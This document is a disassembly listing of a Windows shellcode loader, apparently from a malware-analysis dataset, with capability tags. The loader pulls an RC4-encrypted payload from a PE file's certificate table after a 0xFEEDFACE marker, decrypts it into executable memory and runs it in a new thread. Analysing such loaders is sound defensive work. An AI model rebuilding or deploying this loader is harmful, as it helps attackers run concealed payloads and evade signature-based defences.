Function at 0x140001110
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rdi
sub rsp, 0x388
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x360], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str._n__:_Basic_Loader..._n_n
call fcn.140001060
cmp ebx, 3
je 0x140001167
lea rcx, str.___:_Missing_PE_path_or_Encryption_Key..._n
call fcn.140001060
mov rdx, qword [rdi]
lea rcx, str.___:_Usage:__s__PE_PATH___Encryption_Key__n
call fcn.140001060
mov eax, 1
jmp 0x140001615
mov qword [rsp + 0x3b0], rsi
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x3b8], r12
xor edx, edx
mov r8d, 0xff
mov qword [rsp + 0x378], r14
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rdi + 8]
xor r12d, r12d
mov r14, qword [rdi + 0x10]
mov rdi, 0xffffffffffffffff
mov r8, rdi
mov dword [rsp + 0x250], r12d
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400011b1
test r8, r8
je 0x1400011fc
test rdx, rdx
je 0x1400011ea
cmp r8, 0xff
ja 0x1400011dc
lea rcx, [rsp + 0x260]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400011fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x22
jmp 0x1400011f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x260]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, rdi
je 0x14000164e
xor edx, edx
mov qword [rsp + 0x3a0], rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
mov rcx, rsi
test rax, rax
je 0x14000165b
lea r9, [rsp + 0x250]
mov qword [rsp + 0x20], r12
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000162f
cmp dword [rsp + 0x250], r12d
je 0x14000162f
mov eax, 0x5a4d
cmp word [rbp], ax
jne 0x14000166e
movsxd rcx, dword [rbp + 0x3c]
lea rax, [rsp + 0x50]
add rcx, rbp
mov qword [rsp + 0x380], r13
lea rax, [rax + 0x80]
mov qword [rsp + 0x370], r15
movups xmm0, xmmword [rcx + 0x18]
movups xmm1, xmmword [rcx + 0x28]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x38]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x48]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x68]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x78]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x88]
add rcx, 0x98
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
lea rcx, str.__:_Certificate_Table_RVA__x_n
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm0
mov ebx, dword [rsp + 0xe0]
mov r15d, dword [rsp + 0xe4]
mov edx, ebx
call fcn.140001060
mov edx, r15d
lea rcx, str.__:_Certificate_Table_Size__zu_n
call fcn.140001060
lea rcx, [r15 - 4]
lea r13, [rbx + rbp]
mov rbx, r12
test rcx, rcx
je 0x14000168d
lea rax, [r13 + 2]
cmp byte [rax - 2], 0xfe
jne 0x14000139e
cmp byte [rax - 1], 0xed
jne 0x14000139e
cmp byte [rax], 0xfa
jne 0x14000139e
cmp byte [rax + 1], 0xce
je 0x1400013af
inc rbx
inc rax
cmp rbx, rcx
jae 0x14000168d
jmp 0x140001387
mov edx, ebx
lea rcx, str.__:_Tag_Found_at_offset_0x_x_n
call fcn.140001060
lea r12d, [rbx + 8]
test r12d, r12d
je 0x14000168d
sub r15d, r12d
mov ecx, r15d
mov qword [rsp + 0x40], r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400016ac
mov edx, r12d
add rdx, r13
test r15, r15
je 0x140001420
mov r8d, r15d
mov rcx, rax
test rdx, rdx
je 0x140001404
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001420
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
nop dword [rax + rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x140001420
xor r12d, r12d
mov r8d, r12d
mov ecx, r12d
mov r9d, r12d
mov r10d, r12d
nop dword [rax]
mov eax, r9d
mov byte [rsp + r10 + 0x50], r9b
cdq
lea r10, [r10 + 1]
idiv edi
inc r9d
movsxd rax, edx
movzx edx, byte [rax + r14]
mov byte [rsp + r10 + 0x14f], dl
cmp r9d, 0x100
jl 0x140001440
mov r9, r12
nop
movzx eax, byte [rsp + r9 + 0x150]
movzx r10d, byte [rsp + r9 + 0x50]
add r8d, eax
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000149b
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
movzx edx, byte [rsp + rax + 0x50]
mov byte [rsp + rax + 0x50], r10b
mov byte [rsp + r9 + 0x50], dl
inc r9
cmp r9, 0x100
jl 0x140001470
mov r14, qword [rsp + 0x40]
mov edx, r12d
test r14d, r14d
jle 0x14000153a
mov r9, rbx
mov rdi, r15
nop dword [rax]
inc ecx
and ecx, 0x800000ff
jge 0x1400014e4
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
lea r10, [rsp + 0x50]
add r10, rax
movzx r11d, byte [r10]
add edx, r11d
and edx, 0x800000ff
jge 0x140001508
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea r8, [rsp + 0x50]
add r8, rax
movzx eax, byte [r8]
mov byte [r8], r11b
mov byte [r10], al
movzx r8d, byte [r8]
add r8, rax
movzx eax, r8b
movzx r8d, byte [rsp + rax + 0x50]
xor byte [r9], r8b
inc r9
sub rdi, 1
jne 0x1400014d0
mov edx, r14d
lea rcx, str._n__:_Decrypted_Data_Size__d_n
call fcn.140001060
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400016cb
test r15, r15
je 0x14000157f
mov r8, r15
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
test rax, rax
je 0x1400016f3
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str._n__:_Done._n
call fcn.140001060
mov r13, qword [rsp + 0x380]
xor eax, eax
mov r15, qword [rsp + 0x370]
mov rbp, qword [rsp + 0x3a0]
mov rsi, qword [rsp + 0x3b0]
mov r12, qword [rsp + 0x3b8]
mov r14, qword [rsp + 0x378]
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.140001740
add rsp, 0x388
pop rdi
pop rbx
ret
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_read_PE_file
call fcn.1400010c0
int3
lea rcx, str.Could_not_read_file
call fcn.1400010c0
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_allocate_memory_for_PE_file
call fcn.1400010c0
int3
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Invalid_PE_file
call fcn.1400010c0
int3
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Could_not_locate_data_shellcode
call fcn.1400010c0
int3
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_allocate_memory_for_decrypted_data
call fcn.1400010c0
int3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.VirtualAlloc_failed
call fcn.1400010c0
int3
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_create_thread
call fcn.1400010c0
int3